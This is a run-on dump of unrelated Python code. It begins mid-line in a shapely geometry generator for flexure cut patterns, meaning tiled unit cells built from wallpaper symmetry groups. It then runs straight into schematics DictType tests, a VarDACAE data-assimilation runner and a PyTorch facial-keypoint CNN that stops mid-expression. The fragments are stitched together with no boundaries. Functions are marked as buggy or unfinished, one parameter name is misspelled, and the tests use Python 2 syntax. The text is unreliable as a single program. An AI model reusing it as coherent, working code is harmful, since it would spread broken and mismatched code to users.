= a/2.0 # height baseline -> flexure bottom l2 = b+a/2.0 # height baseline -> flexure top x = np.array([]) y = np.array([]) if inside_start == True: x = np.append(x,h0) # 0 y = np.append(y,h0) # x = np.append(x,l1) # 1 y = np.append(y,l1) # x = np.append(x,h0-e) # 2 y = np.append(y,l1) # x = np.append(x,h0-e) # 3 y = np.append(y,0) # x = np.append(x,h0) # 4 y = np.append(y,0) # x = np.append(x,h0) # 0 y = np.append(y,h0) # insert_index = 4 if inside_start == False: # outside start x = np.append(x,h0) # 0 y = np.append(y,h0) # x = np.append(x,0+ax/2) # 1 y = np.append(y,0+ax/2) # 1 x = np.append(x,0+ax) # 1' y = np.append(y,0) # 1' x = np.append(x,ax) # 2 y = np.append(y,0) # x = np.append(x,ax+d) # 3 y = np.append(y,0) # x = np.append(x,ax+d+l1) # 4 y = np.append(y,l1) # x = np.append(x,h0) # 5 y = np.append(y,l1) # x = np.append(x,h0) # 0 y = np.append(y,h0) # insert_index = 4 for n in range(num_flex): vec_x = np.array([]) vec_y = np.array([]) h = (n+1)*(a+b)+h0 if inside_start==True: # build inside-out vec_x = np.append(vec_x, h-e) # 0 vec_y = np.append(vec_y, l2) vec_x = np.append(vec_x, l2+ax) # 1 vec_y = np.append(vec_y, l2) vec_x = np.append(vec_x, ax) # 2 vec_y = np.append(vec_y, 0) vec_x = np.append(vec_x, ax+d) # 3 vec_y = np.append(vec_y, 0) vec_x = np.append(vec_x, ax+d+l1) # 4 vec_y = np.append(vec_y, l1) vec_x = np.append(vec_x, h) # 5 vec_y = np.append(vec_y, l1) inside_start = False else: # build outside-in vec_x = np.append(vec_x, ax+l1) # 0 vec_y = np.append(vec_y, l1) vec_x = np.append(vec_x, h-e) # 1 vec_y = np.append(vec_y, l1) vec_x = np.append(vec_x, h-e) # 2 vec_y = np.append(vec_y, 0) vec_x = np.append(vec_x, h) # 3 vec_y = np.append(vec_y, 0) vec_x = np.append(vec_x, h) # 4 vec_y = np.append(vec_y, l2) vec_x = np.append(vec_x, l2+ax+d) # 5 vec_y = np.append(vec_y, l2) inside_start = True # shifts existing coordinates a distance dx and dy x += dx y += dy # inserts new geometry from origo between the right coordinates x = np.concatenate((x[:insert_index],vec_x, x[insert_index:]),axis=0) y = np.concatenate((y[:insert_index],vec_y, y[insert_index:]),axis=0) # adds to index counter insert_index += 3 coords = [(x[i],y[i]) for i in range(len(x))] self.generating_region = Polygon(coords) @staticmethod def make_triangular_let_gen_reg(para_dict): """ Generates 1/12 of a LET that maps with the p6m group """ a = para_dict['cut_width'] b = para_dict['flexure_width'] c = para_dict['junction_length'] d = para_dict['edge_space'] e = para_dict['stem_width'] num_flex = int(para_dict['num_flex']) inside_start = para_dict['inside_start'] sqrt3 = 3**0.5 d = d*sqrt3 dy = a+b # displacement y direction dx = sqrt3*dy # displacement x direction h0 = c+a/2.0 # height in triangle ax = a*sqrt3/2.0 # x displacement along diagonal cut l1 = a/2.0 # height baseline -> flexure bottom l2 = b+a/2.0 # height baseline -> flexure top tol = 0.0001 x = np.array([]) y = np.array([]) if inside_start == True: # inside start x = np.append(x,[sqrt3*h0]) # x0 y = np.append(y,[h0]) #y0 x = np.append(x,[sqrt3*a/2-tol]) # x1 y = np.append(y,[a/2]) #y1 x = np.append(x,[sqrt3*h0-e]) #x2 y = np.append(y,[a/2]) #y2 x = np.append(x,[sqrt3*h0-e]) #x3 y = np.append(y,[0]) #y3 x = np.append(x,[sqrt3*h0]) #x4 y = np.append(y,[0]) # y4 x = np.append(x,[sqrt3*h0]) # x0 y = np.append(y,[h0]) #y0 insert_index = 4 if inside_start == False: # outside start x = np.append(x,[sqrt3*h0]) # x0 y = np.append(y,[h0]) # y0 x = np.append(x,[3*ax/4-tol]) # x1 y = np.append(y,[sqrt3*ax/4]) #y1 x = np.append(x,[ax]) # x1' y = np.append(y,[0]) #y1' x = np.append(x,[d+ax]) # x2 y = np.append(y,[0]) # y2 x = np.append(x,[d+ax]) #x3 y = np.append(y,[a/2]) # y3 x = np.append(x,[sqrt3*h0]) # x4 y = np.append(y,[a/2]) # y4 x = np.append(x,[sqrt3*h0]) # x0 y = np.append(y,[h0]) # y0 insert_index = 3 for n in range(num_flex): vec_x = np.array([]) vec_y = np.array([]) h = (n+1)*(a+b)+c+a/2 if inside_start==True: # build inside-out vec_x = np.append(vec_x, [sqrt3*h-e]) # x1 vec_y = np.append(vec_y, [l2]) # 1 vec_x = np.append(vec_x, [sqrt3*l2+ax]) # 2 vec_y = np.append(vec_y, [l2]) # 2 vec_x = np.append(vec_x, [ax]) # 3 vec_y = np.append(vec_y, [0]) # 3 vec_x = np.append(vec_x, [d+ax]) # 4, can remove 2* for sharp cuts !! affects corner vec_y = np.append(vec_y, [0]) # 4 vec_x = np.append(vec_x, [ax+d]) # 5, add/remove +l1*sqrt3 for drafted corner vec_y = np.append(vec_y, [l1]) # 5 vec_x = np.append(vec_x, [sqrt3*h]) # 6 vec_y = np.append(vec_y, [l1]) # 6 inside_start = False else: # build outside-in vec_x = np.append(vec_x, [ax+sqrt3*l1]) # x = sqrt3*a/2 for N = 2 and ins=False, #should be 2* for ins = True vec_y = np.append(vec_y, [l1]) vec_x = np.append(vec_x, [sqrt3*h-e]) vec_y = np.append(vec_y, [l1]) vec_x = np.append(vec_x, [sqrt3*h-e]) vec_y = np.append(vec_y, [0]) vec_x = np.append(vec_x, [sqrt3*h]) vec_y = np.append(vec_y, [0]) vec_x = np.append(vec_x, [sqrt3*h]) vec_y = np.append(vec_y, [l2]) vec_x = np.append(vec_x, [sqrt3*(b+a)+d+ax]) #6 can remove 2* for sharp cuts vec_y = np.append(vec_y, [l2]) inside_start = True # shifts existing coordinates a distance dx and dy x += dx y += dy # inserts new geometry from origo between the right coordinates x = np.concatenate((x[:insert_index],vec_x, x[insert_index:]),axis=0) y = np.concatenate((y[:insert_index],vec_y, y[insert_index:]),axis=0) # adds to index counter insert_index += 3 return Polygon(list(zip(x,y))) def make_hexagonal_let_gen_reg(self): # BUG !!! ?? """ Generation of 1/8 of hexagonal cyclic slits. Full cell is generated with p6m. s = scaled, r = rotated, m = mirrored, t = translated dimensions are scaled - fix!! """ para_dict = dict(self.para) para_dict['edge_space'] *= 3 para_dict['stem_width'] *= 3 generating_unit = self.make_triangular_let_gen_reg(para_dict) # have to add a edge cut paramter... p6m_sm = scale(geom=generating_unit, xfact=(-1/3), yfact=1, zfact=1, origin='center') p6m_smr = rotate(geom=p6m_sm, angle=90, origin='center') xmin, ymin, xmax, ymax = p6m_smr.bounds p6m_smrt = translate(geom=p6m_smr, xoff = -xmin, yoff=-ymin) self.generating_region = p6m_smrt def make_rectangular_switchback_gen_reg(self): """" NB! num_turns >= 1 """ # Make dictionary to pass into make_torsion_flexure - start segment para_dict = {'flexure_width':self.para['flexure_width'], 'flexure_length':self.para['flexure_length'], 'stem_length':self.para['cut_width']/2.0, # cut_width/2 'stem_width':self.para['flexure_width']} # stem_width # Make dictionary to pass into make_torsion_flexure - middle segment para_dict_middle = dict(para_dict) para_dict_middle['flexure_length'] = para_dict['flexure_length'] - self.para['cut_width']/2.0 # Shortcut variables num_turns = int(self.para['num_turns']) dy = self.para['cut_width'] + self.para['flexure_width'] dx = self.para['cut_width']/2.0 # Switchback list swichbacks = [] # Make first segment start_segment = self.make_torsion_flexure(para_dict) swichbacks.append(start_segment) # Make middle segment middle_segment = self.make_torsion_flexure(para_dict_middle) middle_segment_mirror = scale(middle_segment, xfact=-1, yfact=1, origin='center') # Adds number of desired turns for n in range(0, num_turns): if n == 0: swichbacks.append(translate(middle_segment_mirror, xoff=dx, yoff=dy)) else: swichbacks.append(translate(middle_segment, xoff=dx, yoff=dy*(2*n))) swichbacks.append(translate(middle_segment_mirror, xoff=dx, yoff=dy*(2*n+1))) # Make last segment end_segment = translate(start_segment, xoff=dx, yoff=dy*(num_turns*2)) swichbacks.append(end_segment) self.generating_region = cascaded_union(swichbacks) def make_triangular_switchback_gen_reg(self): # BUG! not finished! """ not ideal way of sorting the 'default' options... """ para_dict = dict(self.para) # Fist initialize to get height sq_gen_reg = self.make_square_switchback_gen_reg(para_dict) xmin, ymin, xmax, ymax = sq_gen_reg.bounds # Calculate xscale from height xscale = 3**0.5#*(ymax-ymin) # if para_dict['side_cut'] == 'default': # para_dict['side_cut'] = para_dict['cut_width']*3**0.5/2*(ymax-ymin)*xscale # else: # para_dict['side_cut'] *= xscale # if para_dict['stem_width'] == 'default': # para_dict['stem_width'] = para_dict['flexure_width']*3**0.5/2*(ymax-ymin)*xscale # else: # para_dict['stem_width'] *= xscale # Make new switchback with adjusted lengths gen_reg = self.make_square_switchback_gen_reg(para_dict) self.generating_region = scale(gen_reg, xfact=xscale) # = translate(gen_reg, xoff=-xmin, yoff=-ymin) @staticmethod def make_square_switchback_gen_reg(para_dict): a = para_dict['cut_width'] ax = a*(2**0.5)/2 if para_dict['side_cut'] == 'default' else para_dict['side_cut'] b = para_dict['flexure_width'] c = para_dict['junction_length'] d = b*2**0.5 if para_dict['stem_width'] == 'default' else para_dict['stem_width'] num_flex = int(para_dict['num_flex']) # x distance along diagonal cut dx = a+b # displacement y direction dy = dx # displacement y direction h0 = a+b/2+c # height in triangle l1 = b/2 # height baseline -> flexure bottom l2 = a+b/2 # height baseline -> flexure top x = np.array([]) y = np.array([]) x = np.append(x, 0) # 0 y = np.append(y, h0) # 0 x = np.append(x, -h0+l2+ax/2) # 1 y = np.append(y, l2+ax/2) # 1 x = np.append(x, -h0+l2+ax) # 2 y = np.append(y, l2) # 2 x = np.append(x, -h0+ax) # 3 y = np.append(y, 0) # 3 x = np.append(x, h0-ax) # 4 y = np.append(y, 0) # 4 x = np.append(x, h0-l1-ax) # 5 y = np.append(y, l1) # 5 x = np.append(x, -h0+l1+d+ax) # 6 y = np.append(y, l1) # 6 x = np.append(x, -h0+l2+d+ax) # 7 y = np.append(y, l2) # 7 x = np.append(x, h0-l2-ax) # 8 y = np.append(y, l2) # 8 x = np.append(x, h0-l2-ax/2) # 9 y = np.append(y, l2+ax/2) # 9 x = np.append(x, 0) # 0 y = np.append(y, h0) # 0 insert_index = 4 for n in range(num_flex): h = (n+1)*(a+b)+h0 vec_x = np.array([]) vec_y = np.array([]) vec_x = np.append(vec_x, -h+l2+ax) # 0 vec_y = np.append(vec_y, l2) vec_x = np.append(vec_x, h-l2-ax-d) # 1 vec_y = np.append(vec_y, l2) vec_x = np.append(vec_x, h-l1-d-ax) # 2 vec_y = np.append(vec_y, l1) vec_x = np.append(vec_x, -h+l1+ax) # 3 vec_y = np.append(vec_y, l1) vec_x = np.append(vec_x, -h+ax) # 4 vec_y = np.append(vec_y, 0) vec_x = np.append(vec_x, h-ax) # 5 vec_y = np.append(vec_y, 0) if n%2: vec_x = -vec_x vec_x = np.flipud(vec_x) vec_y = np.flipud(vec_y) insert_index += 4 y += dy # shifts existing coordinates a distance dy x = np.concatenate((x[:insert_index],vec_x, x[insert_index:]),axis=0) # inserts new geometry from origo between the right coordinates y = np.concatenate((y[:insert_index],vec_y, y[insert_index:]),axis=0) insert_index +=1 # adds to index counter return Polygon(list(zip(x,y))) def make_square_p4g_switchback_gen_reg(self): para_dict = dict(self.para) # Fist initialize to get height sq_gen_reg = self.make_square_switchback_gen_reg(para_dict) xmin, ymin, xmax, ymax = sq_gen_reg.bounds intersection_box = box(xmin, ymin+self.para['flexure_width']/2. + self.para['cut_width']/2., xmax, ymax) return sq_gen_reg.intersection(intersection_box) def make_ydx_gen_reg(self): """ Full unit generated through pmm l1, l2, angle = w, h, 90 """ import math a = self.para['solid_width'] b = self.para['flexure_length'] c = self.para['flexure_width'] d = self.para['cut_width'] thetaDeg = self.para['thetaDeg'] # Calculate repeating dimensions theta = math.radians(thetaDeg) bx=b*math.cos(theta) by=b*math.sin(theta) cxy=(c-c/math.cos(theta))/(-math.tan(theta)) d2=d/2 dxy=(d2-d/math.cos(theta))/(-math.tan(theta)) dx=d*math.sin(theta) dy=d*math.cos(theta) w=a+bx+dxy+cxy+dx+a h=by+dy+c+d/2.0 # Build array x0=0.0; y0=0.0 x1=a+bx; y1=0.0 x2=a; y2=by x3=a+dx; y3=by+dy x4=a+bx+dxy; y4=d2 x5=w; y5=d2 x6=w; y6=h x7=w-a-bx; y7=h x8=w-a; y8=h-by x9=w-a-dx; y9=h-by-dy x10=w-a-bx-dxy; y10=h-d2 x11=0.0; y11=h-d2 x12=0.0; y12=0.0 x = [x0,x1,x2,x3,x4,x5,x6,x7,x8,x9,x10,x11,x12] y = [y0,y1,y2,y3,y4,y5,y6,y7,y8,y9,y10,y11,y12] coords = [(x[i],y[i]) for i in range(len(x))] self.generating_region = Polygon(coords) def make_square_swastika(self): a = self.para['flexure_length'] #flexure_length_1 # b = self.para['flexure_length'] #flexure_length_2 c = self.para['flexure_width'] #flexure_width b = a+c/2+(a-c/2)/2 coords = list() coords.append((0,0)) # 0 coords.append((0,a+c)) # 1 coords.append((b+c,a+c)) # 2 coords.append((b+c,a)) # 3 coords.append((c,a)) # 4 coords.append((c,0)) # 5 polygon = Polygon(coords) polygons = [] for i in range(4): polygons.append(rotate(polygon, angle=90*i, origin=(c/2,0))) self.generating_region = scale(unary_union(polygons), xfact=-1) # swastikas = [swastika] # xmin, ymin, xmax, ymax = swastika.bounds # swastikas.append(scale(swastika, xfact=-1, origin=(xmax,ymin))) # swastikas.append(scale(swastika, yfact=-1, origin=(xmax,ymin))) # swastikas.append(scale(swastika, xfact=-1, yfact=-1, origin=(xmax,ymin))) # swastika_cmm = unary_union(swastikas) def make_square_coil_gen_reg(self): a = float(self.para['cut_width']) b = float(self.para['flexure_width']) coords = list() # coords.append((0/2*a+0*b, 0/2*a+0*b)) #0 coords.append((0.0, 0.0)) coords.append((1.0/2*a+1*b, 0.0/2*a+0*b)) #1 coords.append((1.0/2*a+1*b, 1.0/2*a+0*b)) #2 coords.append((9.0/2*a+5*b, 1.0/2*a+0*b)) #3 coords.append((9/2*a+5*b, 7/2*a+4*b)) #4 coords.append((3/2*a+1*b, 7/2*a+4*b)) #5 coords.append((3/2*a+1*b, 5/2*a+2*b)) #6 coords.append((7/2*a+3*b, 5/2*a+2*b)) #7 coords.append((7/2*a+3*b, 3/2*a+2*b)) #8 coords.append((1/2*a+1*b, 3/2*a+2*b)) #9 coords.append((1/2*a+1*b, 9/2*a+4*b)) #10 coords.append((5*a+5*b, 9/2*a+4*b)) #11 coords.append((5*a+5*b, 5*a+5*b)) #12 # Half way coords.append((9/2*a+4*b, 5*a+5*b)) #13 coords.append((9/2*a+4*b, 9/2*a+5*b)) #14 coords.append((1/2*a, 9/2*a+5*b)) # 15 coords.append((1/2*a, 3/2*a+b)) # 16 coords.append((7/2*a+4*b, 3/2*a+1*b)) #17 coords.append((7/2*a+4*b, 5/2*a+3*b)) #18 coords.append((3/2*a+2*b, 5/2*a+3*b)) # 19 coords.append((3/2*a+2*b, 7/2*a+3*b)) #20 coords.append((9/2*a+4*b, 7/2*a+3*b)) # 21 coords.append((9/2*a+4*b, 1/2*a+1*b)) # 22 coords.append((0, 1/2*a+1*b)) # 23 self.generating_region = Polygon(coords) class Unit(GeneratingRegion): def __init__(self, flexure_type, wallpaper_group): # super(Unit, self).__init__(flexure_type, wallpaper_group) # for python 3. GeneratingRegion.__init__(self, flexure_type, wallpaper_group) # for python 2.x self.unit = None self.flexure_pattern = None self.name = self.flexure_type +'_'+ self.wallpaper_group self.make_unit() self.get_dimensions() self.get_center() self.get_corners() def __repr__(self): return '%s' % (self.__class__) def __str__(self): return 'A unit object' def plot(self): self.plot_polygon(self.unit) def make_valid(self): # if '3' in self.wallpaper_group or '6' in self.wallpaper_group: self.unit = self.unit.buffer(0.0001, join_style=2) if self.unit.type == 'MultiPolygon': print('the unit is still a MultiPolygon!') def make_unit(self): if 'special' in self.wallpaper_group: self.special() elif 'test' in self.flexure_type: self.unit = self.generating_region elif self.wallpaper_group == 'pmm' or self.wallpaper_group == 'cmm': self.pmm() elif self.wallpaper_group == 'p4': self.p4() elif self.wallpaper_group == 'p4m': self.p4m() elif self.wallpaper_group == 'p4g': self.p4g() elif self.wallpaper_group == 'pm': self.pm() elif self.wallpaper_group == 'p6': self.p6() elif self.wallpaper_group == 'p6m': self.p6m() def get_dimensions(self): xmin, ymin, xmax, ymax = self.unit.bounds if '3' in self.wallpaper_group or '6' in self.wallpaper_group: self.angle = 60 self.angle_rad = self.angle*pi/180 self.l1 = (ymax-ymin)/sin(self.angle_rad) self.l2 = self.l1 else: self.angle = 90 self.angle_rad = self.angle*pi/180 self.l1 = xmax-xmin self.l2 = ymax-ymin def get_center(self): xmin, ymin, xmax, ymax = self.unit.bounds self.center = ((xmin+xmax)/2, (ymin+ymax)/2) def get_corners(self): self.get_center() d1 = (self.l1 + self.l2*cos(self.angle_rad))/2 d2 = self.l2*sin(self.angle_rad)/2 cx, cy = [self.center[0], self.center[1]] self.unit_coords = [(cx-d1, cy-d2), (cx+self.l1-d1, cy-d2), (cx+d1, cy+d2), (cx-self.l1+d1, cy+d2)] def update(self): self.get_center() self.get_corners() def set_name(self, name): self.name = self.flexure_type + '_' + self.wallpaper_group + '-' + str(name) def set_unit_para(self, **kwargs): self.set_para(**kwargs) self.make_unit() self.get_dimensions() self.get_center() self.get_corners() self.get_lattice_type() def translate_unit(self, xoff, yoff): # Used by abaqus self.unit = translate(self.unit, xoff=xoff, yoff=yoff) self.update() def get_lattice_type(self): if self.angle > 90: print('Invalid too big angle') return if self.angle == 90 and self.l1 == self.l2: self.lattice_type = 'square' elif self.angle == 90 and self.l1 != self.l2: self.lattice_type = 'rectangle' elif self.angle != 90 and self.l1 == self.l2: self.lattice_type = 'rhombe' else: self.lattice_type = 'parallelogram' def pmm(self): generating_unit = self.generating_region [xmin, ymin, xmax, ymax] = generating_unit.bounds mirrored_x = scale(generating_unit, xfact=-1, yfact=1, origin=(xmin,ymin)) mirrored_y = scale(generating_unit, xfact=1, yfact=-1, origin=(xmin,ymin)) mirrored_xy = scale(generating_unit, xfact=-1, yfact=-1, origin=(xmin,ymin)) unit_cell = cascaded_union([generating_unit, mirrored_x, mirrored_y, mirrored_xy]) self.unit = unit_cell # self.make_valid() def p4m(self): generating_unit = self.generating_region [xmin, ymin, xmax, ymax] = generating_unit.bounds mirrored_y = scale(generating_unit, xfact=-1,yfact=1,origin=(xmax,ymax)) shapes = [] for i in range(0,4): shapes.append(rotate(generating_unit,angle=(90*i), origin=(xmax,ymax))) shapes.append(rotate(mirrored_y,angle=(90*i), origin=(xmax,ymax))) self.unit = cascaded_union(shapes) self.make_valid() def p4(self): generating_unit = self.generating_region xmin, ymin, xmax, ymax = generating_unit.bounds unit_list = [generating_unit] # exception for the triangular generating region (switchback cases) point = ((xmax+xmin)/2, ymax) if self.flexure_type == 'switchback' else (xmin, ymin) for i in range(1,4): unit_list.append(rotate(generating_unit, angle=i*90, origin=point)) self.unit = unary_union(unit_list) # unary_union(unit_list) self.make_valid() def p4g(self): """Only implemented to work with square switchback """ generating_region = self.generating_region # rotate algorithm to get absolute center generating_region = rotate(generating_region, angle=135) centerx, centery, xmax, ymax = generating_region.bounds generating_region = rotate(generating_region, angle=-135, origin=(centerx, centery)) xmin, ymin, xmax, ymax = generating_region.bounds # mirror along x polygon_1 = scale(generating_region, xfact=1, yfact=-1, origin=(xmin, ymin)) polygon_2 = unary_union([generating_region, polygon_1]) polygons = [] # 4-fold rotation for i in range(4): polygons.append(rotate(polygon_2, angle=90*i, origin=(centerx, centery))) # union and rotate self.unit = rotate(unary_union(polygons), angle=45) self.make_valid() def pm(self): generating_unit = self.generating_region [xmin, ymin, xmax, ymax] = generating_unit.bounds mirrored_y = scale(generating_unit, xfact=1,yfact=-1,origin=(ymin,xmin)) self.unit = cascaded_union([generating_unit,mirrored_y]) # self.make_valid() def p6(self): xmin, ymin, xmax, ymax = self.generating_region.bounds dy = ymax-ymin cx = (xmax+xmin)/2 # center x-direction shapes = [] for i in range(3): shapes.append(rotate(self.generating_region, angle=120*i, origin=(cx, ymax))) triangle = unary_union(shapes) triangle_rot = rotate(triangle, angle=180, origin=(cx+dy/(3**0.5)+1.5,ymax+0.5*dy)) # triangle_trans_rot = translate(triangle_rot, xoff=2/3**0.5*dy, yoff=dy) # triangle_rot = rotate(triangle, angle=180, origin=(cx+dy, ymax+dy*3**0.5/2))# origin=(ymin + 3**0.5/2*(ymax+ymin)/2, ymin)) self.unit = unary_union([triangle, triangle_rot]) # self.unit = triangle_trans_rot # self.unit = triangle_rot # self.unit = triangle self.make_valid() def p6m(self): # BUG! """ Notes: works only for 120 deg flexure, one rotation center is a bit off... """ generating_region = self.generating_region xmin, ymin, xmax, ymax = generating_region.bounds mirrored_y = scale(generating_region, xfact=-1,yfact=1, origin=(xmax,ymax)) shapes = [] for i in range(0,4): shapes.append(rotate(generating_region,angle=(120*i), origin=(xmax,ymax))) shapes.append(rotate(mirrored_y,angle=(120*i), origin=(xmax,ymax))) triangle = unary_union(shapes).buffer(0.01, resolution=1, join_style=2) rot_center = (xmax + 3**0.5*(ymax-ymin), ymin) triangle_rot = rotate(triangle, angle=300, origin=rot_center) # self.unit = triangle.union(triangle_rot) self.unit = unary_union([triangle, triangle_rot]) # self.make_valid() def special(self): p = self.generating_region xmin, ymin, xmax, ymax = p.bounds mx = scale(p, xfact=-1, origin=(xmax, ymin)) my = scale(p, yfact= -1, origin=(xmax, ymin)) mxy = scale(p, xfact=-1, yfact=-1, origin=(xmax, ymin)) s1 = unary_union([p, mx, my, mxy]) s1r2 = rotate(s1, angle=240, origin=(xmax, ymax)) pr = rotate(p, angle=180, origin=(xmax/2, 3**0.5/2*xmax)) cell_quart = unary_union([p, pr, s1r2]) cell_quart_1 = scale(cell_quart, xfact=-1, origin=(xmax, ymin)) cell_quart_2 = scale(cell_quart, yfact=-1, origin=(xmax, ymin)) cell_quart_3 = scale(cell_quart, xfact=-1, yfact=-1, origin=(xmax, ymin)) cell = unary_union([cell_quart, cell_quart_1, cell_quart_2, cell_quart_3]) self.unit = cell def make_pattern(self, ncell_x, ncell_y): """ Creates a nx x ny surface of units cells. For hexagonal units, hex_cell = True """ duplicates = [] for i in range(ncell_y): for j in range(ncell_x): duplicates.append(translate(self.unit, xoff=(self.l1*j + cos(self.angle_rad)*self.l2*i), yoff=(self.l2 * sin(self.angle_rad) * i))) self.flexure_pattern = unary_union(duplicates).buffer(0.00001, resolution=1, cap_style=2) def batch_save_svg(unit): width = 100 name = unit.name nx = 4 # Calculate close to square ny = int(unit.l1*nx/unit.l2) # Tile the patten unit.make_pattern(nx, ny) # Save createSVG(unit.unit, name+'_unit.svg', width) createSVG(unit.flexure_pattern, name+'_flex_pat.svg', width) createSVG(unit.generating_region, name+'_gen_reg.svg', width) if __name__ == '__main__': """ flexure_types implemented: let, switchback, coil, solid wallper_generators implemented: p4, p6m special combinations: switchback-1 and -2 with p6, let-1 and -2 with p6m let cmm let p4m let-tri p6m (special case) let-hex p6m (special case) switchback cmm switchback p4 (special case) switchback-tri p6 (special case) switchback-hex p6 (special case) wip switchback p4g ydx cmm coil p4 coil cmm test p2 test pm test pg """ flexure_type = 'ydx' wallpaper_group = 'cmm' gen_reg = GeneratingRegion(flexure_type, wallpaper_group) unit = Unit(flexure_type, wallpaper_group) unit.set_unit_para(thetaDeg=80, flexure_length= 5, solid_wifth = 5, cut_width = 0.5) batch_save_svg(unit) batch_svg_to_pdf(os.getcwd()) unit.plot() from schematics.models import Model from schematics.types import IntType, StringType from schematics.types.serializable import serializable from schematics.types.compound import ModelType, DictType def test_basic_type(): class PlayerInfo(Model): categories = DictType(StringType) info = PlayerInfo(dict(categories={ "math": "math", "batman": "batman", })) assert info.categories["math"] == "math" d = info.serialize() assert d == { "categories": { "math": "math", "batman": "batman", } } def test_dict_type_with_model_type(): class CategoryStats(Model): category_slug = StringType() total_wins = IntType() class PlayerInfo(Model): categories = DictType(ModelType(CategoryStats)) #TODO: Maybe it would be cleaner to have # DictType(CategoryStats) and implicitly convert to ModelType(CategoryStats) info = PlayerInfo(dict(categories={ "math": { "category_slug": "math", "total_wins": 1 }, "batman": { "category_slug": "batman", "total_wins": 3 } })) math_stats = CategoryStats({"category_slug": "math", "total_wins": 1}) assert info.categories["math"] == math_stats d = info.serialize() assert d == { "categories": { "math": { "category_slug": "math", "total_wins": 1 }, "batman": { "category_slug": "batman", "total_wins": 3 } } } def test_dict_type_with_model_type_init_with_instance(): class ExperienceLevel(Model): level = IntType() class CategoryStats(Model): category_slug = StringType() total_wins = IntType() @serializable(type=ModelType(ExperienceLevel)) def xp_level(self): return ExperienceLevel(dict(level=self.total_wins)) class PlayerInfo(Model): id = IntType() categories = DictType(ModelType(CategoryStats)) #TODO: Maybe it would be cleaner to have # DictType(CategoryStats) and implicitly convert to ModelType(CategoryStats) math_stats = CategoryStats({ "category_slug": "math", "total_wins": 1 }) info = PlayerInfo(dict(id=1, categories={ "math": math_stats, })) assert info.categories["math"] == math_stats d = info.serialize() assert d == { "id": 1, "categories": { "math": { "category_slug": "math", "total_wins": 1, "xp_level": { "level": 1 } }, } } def test_with_empty(): class CategoryStatsInfo(Model): slug = StringType() class PlayerInfo(Model): categories = DictType( ModelType(CategoryStatsInfo), default=lambda: {}, serialize_when_none=True, ) info = PlayerInfo() assert info.categories == {} d = info.serialize() assert d == { "categories": {}, } def test_key_type(): def player_id(value): return long(value) class CategoryStatsInfo(Model): slug = StringType() class PlayerInfo(Model): categories = DictType(ModelType(CategoryStatsInfo), coerce_key=player_id) stats = CategoryStatsInfo({ "slug": "math", }) info = PlayerInfo({ "categories": { 1L: {"slug": "math"} }, }) assert info.categories == {1: stats} d = info.serialize() assert d == { "categories": {1L: {"slug": "math"}} } 1-10 """File to run elements of VarDACAE module from""" from VarDACAE import ML_utils, SplitData from VarDACAE.VarDA.batch_DA import BatchDA from tools.check_train_load_DA import run_DA_batch import shutil DIR = "experiments/train/01_resNeXt_3/0/2/" DIR = "experiments/train/02a/2/" #DA4/DA3 CONFIGS = [DIR] KWARGS = [0,] ################## #global variables for DA: ALL_DATA = False EXPDIR = "experiments/DA/load/" def main(params, prnt=True): if isinstance(CONFIGS, list): configs = CONFIGS else: configs = (CONFIGS, ) * len(KWARGS) assert len(configs) == len(KWARGS) for idx, conf in enumerate(configs): check_DA_dir(configs[idx], KWARGS[idx], ALL_DATA, EXPDIR, params, prnt) print() def check_DA_dir(dir, kwargs, all_data, expdir, params, prnt): try: model, settings = ML_utils.load_model_and_settings_from_dir(dir) df = run_DA_batch(settings, model, all_data, expdir, params) if prnt: print(df.tail(10)) except Exception as e: try: shutil.rmtree(expdir, ignore_errors=False, onerror=None) raise e except Exception as z: raise e if __name__ == "__main__": main(params = {"var": 0.005, "tol":1e-3}) exit() prnt = False for tol in [1e-5, 1e-4, 1e-3, 1e-2]: for var in [5, 0.5, 0.005, 0.0005, 0.00005]: params = {"var": var, "tol":tol} print("var: {:.5f}, tol: {:.5f}".format(var, tol)) main(params, prnt) AkashBhuiyan/facepoint_detection ## TODO: define the convolutional neural network architecture import torch import torch.nn as nn import torch.nn.functional as F # can use the below import should you choose to initialize the weights of your Net import torch.nn.init as I class Net(nn.Module): def __init__(self): super(Net, self).__init__() ## TODO: Define all the layers of this CNN, the only requirements are: ## 1. This network takes in a square (same width and height), grayscale image as input ## 2. It ends with a linear layer that represents the keypoints ## it's suggested that you make this last layer output 136 values, 2 for each of the 68 keypoint (x, y) pairs # output_dim = (W-F)/S + 1, where W = width, F= filter size, S = stride # As an example, you've been given a convolutional layer, which you may (but don't have to) change: # 1 input image channel (grayscale), 32 output channels/feature maps, 5x5 square convolution kernel self.conv1 = nn.Conv2d(1, 32, 5) self.pool1 = nn.MaxPool2d(2,2) self.drop1 = nn.Dropout(p=0.1) # output = (224-5)/1 +1 = 220 = (30, 220, 220) # maxpool = (30, 110, 110) self.conv2 = nn.Conv2d(32, 60, 3) self.pool2 = nn.MaxPool2d(2,2) self.drop2 = nn.Dropout(p=0.2) # output = (110-3)/1 +1 = 108 = (60, 108, 108) # maxpool = (60, 54, 54) self.conv3 = nn.Conv2d(60, 120, 3) self.pool3 = nn.MaxPool2d(2, 2) self.drop3 = nn.Dropout(p=0.3) # output = (54-3)/1 +1 = 52 = (120, 52, 52) # maxpool = (120, 26, 26) self.conv4 = nn.Conv2d(120, 240, 3) self.pool4 = nn.MaxPool2d(2, 2) self.drop4 = nn.Dropout(p=0.4) # output = (26-3)/1 +1 = 24 = (240, 24, 24) # maxpool = (240, 12, 12) # self.conv5 = nn.Conv2d(240, 480, 3) # self.pool5 = nn.MaxPool2d(2, 2) # self.drop5 = nn.Dropout(p=0.5) # output = (12-3)/1 +1 = 24 = (480, 10, 10) # maxpool = (480, 5, 5) #self.fc2 = nn.Linear(32*110*110, 136) self.fc3 = nn.Linear(240*12*12, 2880) self.drop6 = nn.Dropout(0.3) self.fc4 = nn.Linear(2880, 1440) self.drop7 = nn.Dropout(0.2) self.fc5 = nn.Linear(1440, 136) # self.fc3 = nn.Linear(480 * 5 * 5, 2400) # self.drop6 = nn.Dropout(0.4) # self.fc4 = nn.Linear(2400, 1200) # self.drop7 = nn.Dropout(0.4) # # self.fc5 = nn.Linear(1200, 136) ## Note that among the layers to add, consider including: # maxpooling layers, multiple conv layers, fully-connected layers, and other layers (such as dropout or batch normalization) to avoid overfitting def forward(self, x): ## TODO: Define the feedforward behavior of this model ## x is the input image and, as an example, here you may choose to include a pool/conv step: x = self.pool1(F.relu(self.conv1(x))) x = self.drop1(x) x = self.pool2(F.relu(self.conv2(x))) x = self.drop2(x) x = self.pool3(F.relu(self.conv3(x))) x = self.drop3(x) x = self.pool4(F.relu(self.conv4(x))) x = self.drop4(x) # x = 